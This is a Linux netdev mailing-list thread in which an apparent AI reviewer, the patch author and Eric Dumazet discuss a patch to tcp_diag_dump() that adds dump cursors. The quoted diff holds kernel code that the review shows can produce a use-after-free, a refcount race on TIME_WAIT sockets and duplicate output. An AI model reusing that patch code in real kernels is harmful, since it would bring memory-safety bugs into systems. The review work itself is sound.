tb2->owners now gets a refcount_inc().

inet_twsk_alloc() starts the object at zero on purpose:

	/*
	 * Because we use RCU lookups, we should not set tw_refcnt
	 * to a non null value before everything is setup for this
	 * timewait socket.
	 */
	refcount_set(&tw->tw_refcnt, 0);

and inet_twsk_hashdance_schedule() publishes it into the bind owners list and
drops both bind locks before initializing the count:

	sk_add_bind_node((struct sock *)tw, &tw->tw_tb2->owners);

	spin_unlock(&bhead2->lock);
	spin_unlock(&bhead->lock);

	spin_lock(lock);

	refcount_set(&tw->tw_refcnt, 3);

A dumper blocked on bhead2->lock acquires it right after that unlock and
immediately walks tb2->owners, so it can observe the published tw with
tw_refcnt == 0.  sock_hold() then calls refcount_inc() on zero, which trips
refcount_warn_saturate() and leaves the counter saturated, after which
refcount_set(&tw->tw_refcnt, 3) discards the dump's reference.  The later
sock_gen_put() from the fill loop then consumes one of the three structural
references (bhash, ehash, timer).

Would using refcount_inc_not_zero() here, or keeping the TCP_CLOSE check
under the lock, be safer?

> @@ -335,8 +402,15 @@ static void tcp_diag_dump(struct sk_buff *skb, struct netlink_callback *cb,
>  		for (i = s_i; i <= hashinfo->lhash2_mask; i++) {
>  			struct inet_listen_hashbucket *ilb;
>  			struct hlist_nulls_node *node;
> +			struct sock *sk_arr[SKARR_SZ];
> +			int num_arr[SKARR_SZ];
> +			struct sock *cursor;
> +			int idx, accum, res;
> +			bool use_cursor;
>  
> +resume_listen_walk:
>  			num = 0;
> +			accum = 0;
>  			ilb = &hashinfo->lhash2[i];
>  
>  			if (hlist_nulls_empty(&ilb->nulls_head)) {
> @@ -344,52 +418,81 @@ static void tcp_diag_dump(struct sk_buff *skb, struct netlink_callback *cb,
>  				continue;
>  			}
>  			spin_lock(&ilb->lock);
> -			sk_nulls_for_each(sk, node, &ilb->nulls_head) {
> -				struct inet_sock *inet = inet_sk(sk);
> +			cursor = cb_data->dump_cursor;
> +			use_cursor = cursor &&
> +				     cb_data->dump_cursor_type ==
> +				     INET_DIAG_DUMP_CURSOR_TCP_LISTEN &&
> +				     cb_data->dump_cursor_slot == i &&
> +				     inet_sk_state_load(cursor) == TCP_LISTEN &&
> +				     !hlist_nulls_unhashed(&cursor->sk_nulls_node) &&
> +				     cursor->sk_nulls_node.pprev != LIST_POISON2 &&
> +				     inet_lhash2_bucket_sk(hashinfo, cursor) == ilb;
> +			node = use_cursor ? cursor->sk_nulls_node.next :
> +					    ilb->nulls_head.first;

[Severity: Medium]
Is the "cursor is still in this bucket" conclusion sound when every input to
it is read without the lock that publishes it?

In the listener path the recomputation uses sock_net(cursor),
sk_v6_rcv_saddr (a 16-byte non-atomic read) and inet_sk(cursor)->inet_num via
the newly exported inet_lhash2_bucket_sk(), none of which is protected by
ilb->lock, and the pprev test and the bucket computation are separate plain
loads with no barrier between them.

The ehash variant later in this function has the same shape with
cursor->sk_nulls_node.pprev followed by cursor->sk_hash.  The insertion side
sets sk->sk_hash before taking the target bucket lock and linking with
__sk_nulls_add_node_rcu(), and inet_csk_listen_start() stores TCP_LISTEN
before hashing into lhash2, so a reader that observes the new linkage is not
guaranteed to observe the matching sk_hash/sk_state store.  A socket that
left ehash bucket i and called listen() keeps its old sk_hash, so
inet_sk_state_load(cursor) != TCP_LISTEN can still be true while the lhash2
linkage is already visible.

If validation passes on a stale snapshot, the walk then follows
cursor->sk_nulls_node.next into a chain whose spinlock is not held and
sock_hold()s the entries it finds.  On x86 the store order makes the
inconsistent snapshot hard to observe, but is bucket membership something
that can be established from lockless per-socket fields at all?

> +			if (!use_cursor)
> +				s_num = 0;
> +			hlist_nulls_for_each_entry_from(sk, node, sk_nulls_node) {
>  
> -				if (!net_eq(sock_net(sk), net))
> -					continue;
> +				sock_hold(sk);
> +				num_arr[accum] = num;
> +				sk_arr[accum] = sk;
> +				if (++accum == SKARR_SZ)
> +					break;
>  
> -				if (num < s_num) {
> -					num++;
> -					continue;
> -				}
> +				++num;
> +			}
> +			spin_unlock(&ilb->lock);

[Severity: High]
With the num < s_num skip removed from this loop and s_num forced to 0 when
the cursor is rejected, what stops the bucket from being re-dumped from its
head?

All three walks now do:

	if (!use_cursor)
		s_num = 0;

and the batch continuations replace s_num = num + 1 with s_num = 0:

	if (accum == SKARR_SZ) {
		s_num = 0;
		goto resume_listen_walk;
	}

The bind walk and the ehash walk have the same two changes, and the s_num
parameter of tcp_diag_bind_collect_owners() is dead because its only caller
sits in the !use_cursor branch where s_num has just been zeroed.

So whenever cursor validation fails, which the changelog describes as the
"safe restart on mismatch", the walk restarts at ilb->nulls_head.first, at
the head of ibb->chain, or at head->chain.first, and re-emits sockets from
that bucket that were already sent to user space earlier in the same dump.
Before this change s_num = num + 1 guaranteed the restart advanced.

There is a second effect: if all of the re-collected leading SKARR_SZ sockets
are discarded after the lock is dropped (foreign netns, since lhash2 and
ehash are shared across netns, or sdiag_family/port mismatch, or bytecode
rejection), nothing is emitted, res stays 0 and the goto resume_*_walk loop
repeats over the same head with only cond_resched() yielding.

tcp_diag_dump() still loads s_num = num = cb->args[2] on entry and still
stores cb->args[2] = num at the done: label, but num is now a chunk-relative
counter that no resume path consumes.  Should that state be dropped, or
should a positional fallback be kept for the mismatch case?  Also, since the
walk can now repeat objects within a dump, should NLM_F_DUMP_INTR be set via
a generation counter in netlink_callback.seq?

[ ... ]

> @@ -412,34 +517,46 @@ static void tcp_diag_dump(struct sk_buff *skb, struct netlink_callback *cb,
>  				continue;
>  			}
>  			spin_lock_bh(&ibb->lock);
> -			inet_bind_bucket_for_each(tb2, &ibb->chain) {
> -				if (!net_eq(ib2_net(tb2), net))
> -					continue;
> -
> -				sk_for_each_bound(sk, &tb2->owners) {
> -					struct inet_sock *inet = inet_sk(sk);
> -
> -					if (num < s_num)
> -						goto next_bind;
> -
> -					if (sk->sk_state != TCP_CLOSE ||
> -					    !inet->inet_num)
> -						goto next_bind;
> -
> -					if (r->sdiag_family != AF_UNSPEC &&
> -					    r->sdiag_family != sk->sk_family)
> -						goto next_bind;
> -
> -					if (!inet_diag_bc_sk(cb_data, sk))
> -						goto next_bind;
> -
> -					sock_hold(sk);
> -					num_arr[accum] = num;
> -					sk_arr[accum] = sk;
> -					if (++accum == SKARR_SZ)
> +			cursor = cb_data->dump_cursor;
> +			use_cursor = cursor &&
> +				     cb_data->dump_cursor_type ==
> +				     INET_DIAG_DUMP_CURSOR_TCP_BIND &&
> +				     cb_data->dump_cursor_slot == i &&
> +				     !hlist_unhashed(&cursor->sk_bind_node) &&
> +				     cursor->sk_bind_node.pprev != LIST_POISON2;
> +			if (use_cursor) {
> +				tb2 = tcp_diag_sk_bind2(cursor);
> +				use_cursor = tb2 &&
> +					     inet_bhashfn_portaddr(hashinfo, cursor,
> +								   sock_net(cursor),
> +								   inet_sk(cursor)->inet_num) ==
> +					     ibb;
> +			}
> +			if (!use_cursor)
> +				s_num = 0;
> +			if (use_cursor) {
> +				sk = cursor;
> +				if (tcp_diag_bind_collect_owners_continue(sk, sk_arr,
> +									  num_arr,
> +									  &accum,
> +									  &num))
> +					goto pause_bind_walk;
> +				hlist_for_each_entry_continue(tb2, node) {
> +					if (tcp_diag_bind_collect_owners(&tb2->owners,
> +									 sk_arr,
> +									 num_arr,
> +									 &accum,
> +									 &num, 0))
> +						goto pause_bind_walk;
> +				}

[Severity: Critical]
Can these two liveness checks ever detect that the cursor left
tb2->owners, and can tb2 here already be freed?

Removal from a bind chain goes through __sk_del_bind_node():

include/net/sock.h:
static inline void __sk_del_bind_node(struct sock *sk)
{
	__hlist_del(&sk->sk_bind_node);
}

__hlist_del() only writes *pprev and next->pprev; it leaves the removed
node's own pprev and next untouched.  So for a socket that was unlinked,
hlist_unhashed(&cursor->sk_bind_node) is false and
cursor->sk_bind_node.pprev != LIST_POISON2 holds, and both tests pass.

The freed-bucket part comes from __inet_bhash2_update_saddr():

net/ipv4/inet_hashtables.c:
	spin_lock(&head2->lock);
	__sk_del_bind_node(sk);
	inet_bind2_bucket_destroy(hinfo->bind2_bucket_cachep, inet_csk(sk)->icsk_bind2_hash);
	spin_unlock(&head2->lock);

	if (reset)
		inet_reset_saddr(sk);
	else
		inet_update_saddr(sk, saddr, family);

icsk_bind2_hash is never cleared, and inet_bind2_bucket_destroy() frees the
bucket immediately with no grace period when it was the sole owner:

	if (hlist_empty(&tb->owners)) {
		__hlist_del(&tb->node);
		__hlist_del(&tb->bhash_node);
		kmem_cache_free(cachep, tb);
		return;
	}

In the window between that spin_unlock() and the address update, the address
is unchanged, so inet_bhashfn_portaddr() still resolves to ibb, and
tcp_diag_sk_bind2(cursor) returns the dangling icsk_bind2_hash.  use_cursor
therefore becomes true.

tcp_diag_bind_collect_owners_continue() then iterates the cursor's stale
sk_bind_node.next, and hlist_for_each_entry_continue(tb2, node) reads
tb2->node.next out of the freed slab object, producing an arbitrary
struct inet_bind2_bucket * whose owners list is walked with sock_hold()
applied to each apparent entry.

Note the dumper holds only hashinfo->bhash2[i].lock and never the primary
bhash head lock, and a cursor is saved for every collected owner including
the ones filtered out afterwards, so a process that dumps with
TCPF_BOUND_INACTIVE while calling connect() on a bound socket in that bucket
can reach this.  Could the cursor instead record a validated tb2 identity
that is re-looked-up under ibb->lock, rather than being derived from
icsk_bind2_hash?

> +			} else {
> +				inet_bind_bucket_for_each(tb2, &ibb->chain) {
> +					if (tcp_diag_bind_collect_owners(&tb2->owners,
> +									 sk_arr,
> +									 num_arr,
> +									 &accum,
> +									 &num, s_num))
>  						goto pause_bind_walk;
> -next_bind:
> -					num++;
>  				}
>  			}
>  pause_bind_walk:

[ ... ]

> @@ -463,13 +598,15 @@ static void tcp_diag_dump(struct sk_buff *skb, struct netlink_callback *cb,
>  			cond_resched();
>  
>  			if (accum == SKARR_SZ) {
> -				s_num = num + 1;
> +				s_num = 0;
>  				goto resume_bind_walk;
>  			}
>  
> +			inet_diag_dump_clear_cursor(cb_data);
>  			s_num = 0;
>  		}

[ ... ]

>  		if (accum == SKARR_SZ) {
> -			s_num = num + 1;
> +			s_num = 0;
>  			goto next_chunk;
>  		}

[ ... ]

-- 
Sashiko AI review · https://netdev-ai.bots.linux.dev/sashiko/#/patchset/cover.1788248601.git.zihanx%40nebusec.ai

Re: [PATCH net v2 1/2] tcp: diag: bound bucket lock hold in tcp_diag_dump()

[zihan xi]

On Mon, Sep 7, 2026 at 12:22 PM <netdev-bot+sashiko@kernel.org> wrote:
>
> Thank you for your contribution! Sashiko AI review found 6 potential
> issue(s) to consider:
>
> Critical: 2 · High: 1 · Medium: 2 · Low: 1
>
> - [Critical] Use-after-free / wild-pointer traversal: the new bind-hash
>   dump cursor revalidation in tcp_diag_dump() cannot detect that the…
> - [Critical] Refcount initialization race: tcp_diag_bind_collect_sock()
>   calls sock_hold() unconditionally on every node of tb2->owners,…
> - [High] Loss of dump forward progress and duplicate output: the patch
>   deletes every positional (`s_num`) resume path in tcp_diag_dump()…
> - [Medium] Lockless, unordered reads of cursor state: the listen and
>   ehash cursor validations establish "this socket is in the bucket I…
> - [Medium] The commit message mischaracterizes the pre-existing defect.
> - [Low] Concern that the sibling MPTCP listener dump
>   (mptcp_diag_dump_listeners()) keeps evaluating request-supplied…
>
> --
>
> tcp: diag: bound bucket lock hold in tcp_diag_dump()
>
> This reworks the three tcp_diag_dump() hash walks so that only referenced
> sockets are collected under each bucket lock, and moves the family/port
> filters, inet_diag_bc_sk() bytecode evaluation and the fill work outside the
> critical section.  A referenced dump cursor is added to
> struct inet_diag_dump_data so a following batch resumes after the previously
> reported socket, with per-table validation of the cursor.
>
> v1 Link: https://lore.kernel.org/all/cover.1785307984.git.zihanx@nebusec.ai/
>
> >     inet_diag dumps run request-supplied bytecode through inet_diag_bc_sk().
> >     tcp_diag_dump() currently evaluates socket filters and fills replies while
> >     holding the listener, bind, and ehash bucket locks.
>
> [Severity: Medium]
> Is this description accurate for all three tables?
>
> At the baseline (544d85de4dc2) only the listener walk fills replies under
> ilb->lock.  The bind walk already collected at most SKARR_SZ = 16 referenced
> sockets under spin_lock_bh(&ibb->lock) and only called inet_sk_diag_fill()
> after the lock was dropped:
>
>         pause_bind_walk:
>                         spin_unlock_bh(&ibb->lock);
>
>                         res = 0;
>                         for (idx = 0; idx < accum; idx++) {
>                                 if (res >= 0) {
>                                         res = inet_sk_diag_fill(sk_arr[idx],
>                                                                 NULL, skb, cb,
>                                                                 r, NLM_F_MULTI,
>                                                                 net_admin);
>
> The ehash walk did the same with sk_diag_fill() after spin_unlock_bh(lock).
> What remained under the bind and ehash locks was inet_diag_bc_sk() plus the
> cheap family/port comparisons, bounded to 16 sockets per lock hold.
>
> Could the changelog be narrowed to the listener walk, or state explicitly
> what part of the bind/ehash work it is moving out?
>
> > diff --git a/include/linux/inet_diag.h b/include/linux/inet_diag.h
> > index 704fd415c2b49..6ccd32bc48f91 100644
> > --- a/include/linux/inet_diag.h
> > +++ b/include/linux/inet_diag.h
>
> [ ... ]
>
> > @@ -32,12 +33,23 @@ struct inet_diag_handler {
> >  };
> >
> >  struct bpf_sk_storage_diag;
> > +
> > +enum inet_diag_dump_cursor_type {
> > +     INET_DIAG_DUMP_CURSOR_NONE,
> > +     INET_DIAG_DUMP_CURSOR_TCP_LISTEN,
> > +     INET_DIAG_DUMP_CURSOR_TCP_BIND,
> > +     INET_DIAG_DUMP_CURSOR_TCP_EHASH,
> > +};
> > +
>
> [Severity: Low]
> This isn't a bug, but a note for backporters.  The sibling MPTCP listener
> dump mptcp_diag_dump_listeners() is converted by the follow-up patch in this
> series (INET_DIAG_DUMP_CURSOR_MPTCP_LISTEN, which is why the enum slot and
> the exported inet_diag_dump_clear_cursor() appear here), so at the tip of the
> series the MPTCP listener walk also drops ilb->lock before calling
> sk_diag_dump()/inet_diag_bc_sk().
>
> This patch is Cc: stable, and the commit message body does not mention that
> the MPTCP listener walk keeps running request-supplied bytecode under the
> same hashinfo->lhash2 bucket lock until the follow-up patch is applied.  Only
> the v2 changelog, which is stripped on apply, mentions "Left
> INET_DIAG_DUMP_CURSOR_MPTCP_LISTEN to the MPTCP patch".  Could that
> dependency be stated in the commit message?
>
> [ ... ]
>
> > diff --git a/include/net/inet_hashtables.h b/include/net/inet_hashtables.h
> > index 6e2fe186d0dcb..d95639ac70c67 100644
> > --- a/include/net/inet_hashtables.h
> > +++ b/include/net/inet_hashtables.h
> > @@ -188,6 +188,24 @@ inet_lhash2_bucket(struct inet_hashinfo *h, u32 hash)
> >       return &h->lhash2[hash & h->lhash2_mask];
> >  }
> >
> > +static inline struct inet_listen_hashbucket *
> > +inet_lhash2_bucket_sk(struct inet_hashinfo *h, struct sock *sk)
> > +{
> > +     u32 hash;
> > +
> > +#if IS_ENABLED(CONFIG_IPV6)
> > +     if (sk->sk_family == AF_INET6)
> > +             hash = ipv6_portaddr_hash(sock_net(sk),
> > +                                       &sk->sk_v6_rcv_saddr,
> > +                                       inet_sk(sk)->inet_num);
> > +     else
> > +#endif
> > +             hash = ipv4_portaddr_hash(sock_net(sk),
> > +                                       inet_sk(sk)->inet_rcv_saddr,
> > +                                       inet_sk(sk)->inet_num);
> > +     return inet_lhash2_bucket(h, hash);
> > +}
> > +
>
> [ ... ]
>
> > diff --git a/net/ipv4/tcp_diag.c b/net/ipv4/tcp_diag.c
> > index ba1fdbe9807fd..842e13ee79e5b 100644
> > --- a/net/ipv4/tcp_diag.c
> > +++ b/net/ipv4/tcp_diag.c
> > @@ -285,6 +285,73 @@ static int sk_diag_fill(struct sock *sk, struct sk_buff *skb,
> >                                net_admin);
> >  }
> >
>
> [ ... ]
>
> > +static struct inet_bind2_bucket *tcp_diag_sk_bind2(const struct sock *sk)
> > +{
> > +     if (sk->sk_state == TCP_TIME_WAIT)
> > +             return inet_twsk(sk)->tw_tb2;
> > +
> > +     return inet_csk(sk)->icsk_bind2_hash;
> > +}
> > +
> > +static bool tcp_diag_bind_collect_sock(struct sock *sk, struct sock **sk_arr,
> > +                                    int *num_arr, int *accum, int num)
> > +{
> > +     sock_hold(sk);
> > +     num_arr[*accum] = num;
> > +     sk_arr[*accum] = sk;
> > +
> > +     return ++*accum == SKARR_SZ;
> > +}
> > +
> > +static bool tcp_diag_bind_collect_owners(struct hlist_head *owners,
> > +                                      struct sock **sk_arr, int *num_arr,
> > +                                      int *accum, int *num, int s_num)
> > +{
> > +     struct sock *sk;
> > +
> > +     sk_for_each_bound(sk, owners) {
> > +             if (*num < s_num) {
> > +                     (*num)++;
> > +                     continue;
> > +             }
> > +
> > +             if (tcp_diag_bind_collect_sock(sk, sk_arr, num_arr, accum, *num))
> > +                     return true;
> > +             (*num)++;
> > +     }
> > +
> > +     return false;
> > +}
>
> [Severity: Critical]
> Can the unconditional sock_hold() in tcp_diag_bind_collect_sock() hit a
> TIME_WAIT socket whose tw_refcnt is still 0?
>
> The changelog says "Bind collection counts TIME_WAIT nodes toward the batch
> limit", and tcp_diag_bind_collect_owners() no longer filters on
> sk->sk_state != TCP_CLOSE before taking the reference, so every node of
> tb2->owners now gets a refcount_inc().
>
> inet_twsk_alloc() starts the object at zero on purpose:
>
>         /*
>          * Because we use RCU lookups, we should not set tw_refcnt
>          * to a non null value before everything is setup for this
>          * timewait socket.
>          */
>         refcount_set(&tw->tw_refcnt, 0);
>
> and inet_twsk_hashdance_schedule() publishes it into the bind owners list and
> drops both bind locks before initializing the count:
>
>         sk_add_bind_node((struct sock *)tw, &tw->tw_tb2->owners);
>
>         spin_unlock(&bhead2->lock);
>         spin_unlock(&bhead->lock);
>
>         spin_lock(lock);
>
>         refcount_set(&tw->tw_refcnt, 3);
>
> A dumper blocked on bhead2->lock acquires it right after that unlock and
> immediately walks tb2->owners, so it can observe the published tw with
> tw_refcnt == 0.  sock_hold() then calls refcount_inc() on zero, which trips
> refcount_warn_saturate() and leaves the counter saturated, after which
> refcount_set(&tw->tw_refcnt, 3) discards the dump's reference.  The later
> sock_gen_put() from the fill loop then consumes one of the three structural
> references (bhash, ehash, timer).
>
> Would using refcount_inc_not_zero() here, or keeping the TCP_CLOSE check
> under the lock, be safer?
>
> > @@ -335,8 +402,15 @@ static void tcp_diag_dump(struct sk_buff *skb, struct netlink_callback *cb,
> >               for (i = s_i; i <= hashinfo->lhash2_mask; i++) {
> >                       struct inet_listen_hashbucket *ilb;
> >                       struct hlist_nulls_node *node;
> > +                     struct sock *sk_arr[SKARR_SZ];
> > +                     int num_arr[SKARR_SZ];
> > +                     struct sock *cursor;
> > +                     int idx, accum, res;
> > +                     bool use_cursor;
> >
> > +resume_listen_walk:
> >                       num = 0;
> > +                     accum = 0;
> >                       ilb = &hashinfo->lhash2[i];
> >
> >                       if (hlist_nulls_empty(&ilb->nulls_head)) {
> > @@ -344,52 +418,81 @@ static void tcp_diag_dump(struct sk_buff *skb, struct netlink_callback *cb,
> >                               continue;
> >                       }
> >                       spin_lock(&ilb->lock);
> > -                     sk_nulls_for_each(sk, node, &ilb->nulls_head) {
> > -                             struct inet_sock *inet = inet_sk(sk);
> > +                     cursor = cb_data->dump_cursor;
> > +                     use_cursor = cursor &&
> > +                                  cb_data->dump_cursor_type ==
> > +                                  INET_DIAG_DUMP_CURSOR_TCP_LISTEN &&
> > +                                  cb_data->dump_cursor_slot == i &&
> > +                                  inet_sk_state_load(cursor) == TCP_LISTEN &&
> > +                                  !hlist_nulls_unhashed(&cursor->sk_nulls_node) &&
> > +                                  cursor->sk_nulls_node.pprev != LIST_POISON2 &&
> > +                                  inet_lhash2_bucket_sk(hashinfo, cursor) == ilb;
> > +                     node = use_cursor ? cursor->sk_nulls_node.next :
> > +                                         ilb->nulls_head.first;
>
> [Severity: Medium]
> Is the "cursor is still in this bucket" conclusion sound when every input to
> it is read without the lock that publishes it?
>
> In the listener path the recomputation uses sock_net(cursor),
> sk_v6_rcv_saddr (a 16-byte non-atomic read) and inet_sk(cursor)->inet_num via
> the newly exported inet_lhash2_bucket_sk(), none of which is protected by
> ilb->lock, and the pprev test and the bucket computation are separate plain
> loads with no barrier between them.
>
> The ehash variant later in this function has the same shape with
> cursor->sk_nulls_node.pprev followed by cursor->sk_hash.  The insertion side
> sets sk->sk_hash before taking the target bucket lock and linking with
> __sk_nulls_add_node_rcu(), and inet_csk_listen_start() stores TCP_LISTEN
> before hashing into lhash2, so a reader that observes the new linkage is not
> guaranteed to observe the matching sk_hash/sk_state store.  A socket that
> left ehash bucket i and called listen() keeps its old sk_hash, so
> inet_sk_state_load(cursor) != TCP_LISTEN can still be true while the lhash2
> linkage is already visible.
>
> If validation passes on a stale snapshot, the walk then follows
> cursor->sk_nulls_node.next into a chain whose spinlock is not held and
> sock_hold()s the entries it finds.  On x86 the store order makes the
> inconsistent snapshot hard to observe, but is bucket membership something
> that can be established from lockless per-socket fields at all?
>
> > +                     if (!use_cursor)
> > +                             s_num = 0;
> > +                     hlist_nulls_for_each_entry_from(sk, node, sk_nulls_node) {
> >
> > -                             if (!net_eq(sock_net(sk), net))
> > -                                     continue;
> > +                             sock_hold(sk);
> > +                             num_arr[accum] = num;
> > +                             sk_arr[accum] = sk;
> > +                             if (++accum == SKARR_SZ)
> > +                                     break;
> >
> > -                             if (num < s_num) {
> > -                                     num++;
> > -                                     continue;
> > -                             }
> > +                             ++num;
> > +                     }
> > +                     spin_unlock(&ilb->lock);
>
> [Severity: High]
> With the num < s_num skip removed from this loop and s_num forced to 0 when
> the cursor is rejected, what stops the bucket from being re-dumped from its
> head?
>
> All three walks now do:
>
>         if (!use_cursor)
>                 s_num = 0;
>
> and the batch continuations replace s_num = num + 1 with s_num = 0:
>
>         if (accum == SKARR_SZ) {
>                 s_num = 0;
>                 goto resume_listen_walk;
>         }
>
> The bind walk and the ehash walk have the same two changes, and the s_num
> parameter of tcp_diag_bind_collect_owners() is dead because its only caller
> sits in the !use_cursor branch where s_num has just been zeroed.
>
> So whenever cursor validation fails, which the changelog describes as the
> "safe restart on mismatch", the walk restarts at ilb->nulls_head.first, at
> the head of ibb->chain, or at head->chain.first, and re-emits sockets from
> that bucket that were already sent to user space earlier in the same dump.
> Before this change s_num = num + 1 guaranteed the restart advanced.
>
> There is a second effect: if all of the re-collected leading SKARR_SZ sockets
> are discarded after the lock is dropped (foreign netns, since lhash2 and
> ehash are shared across netns, or sdiag_family/port mismatch, or bytecode
> rejection), nothing is emitted, res stays 0 and the goto resume_*_walk loop
> repeats over the same head with only cond_resched() yielding.
>
> tcp_diag_dump() still loads s_num = num = cb->args[2] on entry and still
> stores cb->args[2] = num at the done: label, but num is now a chunk-relative
> counter that no resume path consumes.  Should that state be dropped, or
> should a positional fallback be kept for the mismatch case?  Also, since the
> walk can now repeat objects within a dump, should NLM_F_DUMP_INTR be set via
> a generation counter in netlink_callback.seq?
>
> [ ... ]
>
> > @@ -412,34 +517,46 @@ static void tcp_diag_dump(struct sk_buff *skb, struct netlink_callback *cb,
> >                               continue;
> >                       }
> >                       spin_lock_bh(&ibb->lock);
> > -                     inet_bind_bucket_for_each(tb2, &ibb->chain) {
> > -                             if (!net_eq(ib2_net(tb2), net))
> > -                                     continue;
> > -
> > -                             sk_for_each_bound(sk, &tb2->owners) {
> > -                                     struct inet_sock *inet = inet_sk(sk);
> > -
> > -                                     if (num < s_num)
> > -                                             goto next_bind;
> > -
> > -                                     if (sk->sk_state != TCP_CLOSE ||
> > -                                         !inet->inet_num)
> > -                                             goto next_bind;
> > -
> > -                                     if (r->sdiag_family != AF_UNSPEC &&
> > -                                         r->sdiag_family != sk->sk_family)
> > -                                             goto next_bind;
> > -
> > -                                     if (!inet_diag_bc_sk(cb_data, sk))
> > -                                             goto next_bind;
> > -
> > -                                     sock_hold(sk);
> > -                                     num_arr[accum] = num;
> > -                                     sk_arr[accum] = sk;
> > -                                     if (++accum == SKARR_SZ)
> > +                     cursor = cb_data->dump_cursor;
> > +                     use_cursor = cursor &&
> > +                                  cb_data->dump_cursor_type ==
> > +                                  INET_DIAG_DUMP_CURSOR_TCP_BIND &&
> > +                                  cb_data->dump_cursor_slot == i &&
> > +                                  !hlist_unhashed(&cursor->sk_bind_node) &&
> > +                                  cursor->sk_bind_node.pprev != LIST_POISON2;
> > +                     if (use_cursor) {
> > +                             tb2 = tcp_diag_sk_bind2(cursor);
> > +                             use_cursor = tb2 &&
> > +                                          inet_bhashfn_portaddr(hashinfo, cursor,
> > +                                                                sock_net(cursor),
> > +                                                                inet_sk(cursor)->inet_num) ==
> > +                                          ibb;
> > +                     }
> > +                     if (!use_cursor)
> > +                             s_num = 0;
> > +                     if (use_cursor) {
> > +                             sk = cursor;
> > +                             if (tcp_diag_bind_collect_owners_continue(sk, sk_arr,
> > +                                                                       num_arr,
> > +                                                                       &accum,
> > +                                                                       &num))
> > +                                     goto pause_bind_walk;
> > +                             hlist_for_each_entry_continue(tb2, node) {
> > +                                     if (tcp_diag_bind_collect_owners(&tb2->owners,
> > +                                                                      sk_arr,
> > +                                                                      num_arr,
> > +                                                                      &accum,
> > +                                                                      &num, 0))
> > +                                             goto pause_bind_walk;
> > +                             }
>
> [Severity: Critical]
> Can these two liveness checks ever detect that the cursor left
> tb2->owners, and can tb2 here already be freed?
>
> Removal from a bind chain goes through __sk_del_bind_node():
>
> include/net/sock.h:
> static inline void __sk_del_bind_node(struct sock *sk)
> {
>         __hlist_del(&sk->sk_bind_node);
> }
>
> __hlist_del() only writes *pprev and next->pprev; it leaves the removed
> node's own pprev and next untouched.  So for a socket that was unlinked,
> hlist_unhashed(&cursor->sk_bind_node) is false and
> cursor->sk_bind_node.pprev != LIST_POISON2 holds, and both tests pass.
>
> The freed-bucket part comes from __inet_bhash2_update_saddr():
>
> net/ipv4/inet_hashtables.c:
>         spin_lock(&head2->lock);
>         __sk_del_bind_node(sk);
>         inet_bind2_bucket_destroy(hinfo->bind2_bucket_cachep, inet_csk(sk)->icsk_bind2_hash);
>         spin_unlock(&head2->lock);
>
>         if (reset)
>                 inet_reset_saddr(sk);
>         else
>                 inet_update_saddr(sk, saddr, family);
>
> icsk_bind2_hash is never cleared, and inet_bind2_bucket_destroy() frees the
> bucket immediately with no grace period when it was the sole owner:
>
>         if (hlist_empty(&tb->owners)) {
>                 __hlist_del(&tb->node);
>                 __hlist_del(&tb->bhash_node);
>                 kmem_cache_free(cachep, tb);
>                 return;
>         }
>
> In the window between that spin_unlock() and the address update, the address
> is unchanged, so inet_bhashfn_portaddr() still resolves to ibb, and
> tcp_diag_sk_bind2(cursor) returns the dangling icsk_bind2_hash.  use_cursor
> therefore becomes true.
>
> tcp_diag_bind_collect_owners_continue() then iterates the cursor's stale
> sk_bind_node.next, and hlist_for_each_entry_continue(tb2, node) reads
> tb2->node.next out of the freed slab object, producing an arbitrary
> struct inet_bind2_bucket * whose owners list is walked with sock_hold()
> applied to each apparent entry.
>
> Note the dumper holds only hashinfo->bhash2[i].lock and never the primary
> bhash head lock, and a cursor is saved for every collected owner including
> the ones filtered out afterwards, so a process that dumps with
> TCPF_BOUND_INACTIVE while calling connect() on a bound socket in that bucket
> can reach this.  Could the cursor instead record a validated tb2 identity
> that is re-looked-up under ibb->lock, rather than being derived from
> icsk_bind2_hash?
>
> > +                     } else {
> > +                             inet_bind_bucket_for_each(tb2, &ibb->chain) {
> > +                                     if (tcp_diag_bind_collect_owners(&tb2->owners,
> > +                                                                      sk_arr,
> > +                                                                      num_arr,
> > +                                                                      &accum,
> > +                                                                      &num, s_num))
> >                                               goto pause_bind_walk;
> > -next_bind:
> > -                                     num++;
> >                               }
> >                       }
> >  pause_bind_walk:
>
> [ ... ]
>
> > @@ -463,13 +598,15 @@ static void tcp_diag_dump(struct sk_buff *skb, struct netlink_callback *cb,
> >                       cond_resched();
> >
> >                       if (accum == SKARR_SZ) {
> > -                             s_num = num + 1;
> > +                             s_num = 0;
> >                               goto resume_bind_walk;
> >                       }
> >
> > +                     inet_diag_dump_clear_cursor(cb_data);
> >                       s_num = 0;
> >               }
>
> [ ... ]
>
> >               if (accum == SKARR_SZ) {
> > -                     s_num = num + 1;
> > +                     s_num = 0;
> >                       goto next_chunk;
> >               }
>
> [ ... ]
>
> --
> Sashiko AI review · https://netdev-ai.bots.linux.dev/sashiko/#/patchset/cover.1788248601.git.zihanx%40nebusec.ai

- bind cursor UAF / dangling tb2: valid
- unconditional sock_hold() on unpublished TIME_WAIT: valid
- clearing s_num on cursor mismatch: valid
- lockless cursor-membership checks: valid as a concern
- commit message overstating bind/ehash fill-under-lock: valid
- missing note that MPTCP needs the follow-up patch: valid as a
  backport note
- endless re-scan of the same bucket head: not valid as a
  guaranteed livelock; duplicate output after a rejected cursor
  is valid

Re: [PATCH net v2 1/2] tcp: diag: bound bucket lock hold in tcp_diag_dump()

[Eric Dumazet]

> - bind cursor UAF / dangling tb2: valid
> - unconditional sock_hold() on unpublished TIME_WAIT: valid
> - clearing s_num on cursor mismatch: valid
> - lockless cursor-membership checks: valid as a concern
> - commit message overstating bind/ehash fill-under-lock: valid
> - missing note that MPTCP needs the follow-up patch: valid as a
>   backport note
> - endless re-scan of the same bucket head: not valid as a
>   guaranteed livelock; duplicate output after a rejected cursor
>   is valid

I just saw your patch today. This is absolutely insane.

Please limit the complexity of a filter to something reasonable.
Absolutely no sane user is using a very complex filter.

Same for UDP.

Re: [PATCH net v2 1/2] tcp: diag: bound bucket lock hold in tcp_diag_dump()

[zihan xi]

On Mon, Sep 7, 2026 at 3:06 PM Eric Dumazet <edumazet@google.com> wrote:
>
> > - bind cursor UAF / dangling tb2: valid
> > - unconditional sock_hold() on unpublished TIME_WAIT: valid
> > - clearing s_num on cursor mismatch: valid
> > - lockless cursor-membership checks: valid as a concern
> > - commit message overstating bind/ehash fill-under-lock: valid
> > - missing note that MPTCP needs the follow-up patch: valid as a
> >   backport note
> > - endless re-scan of the same bucket head: not valid as a
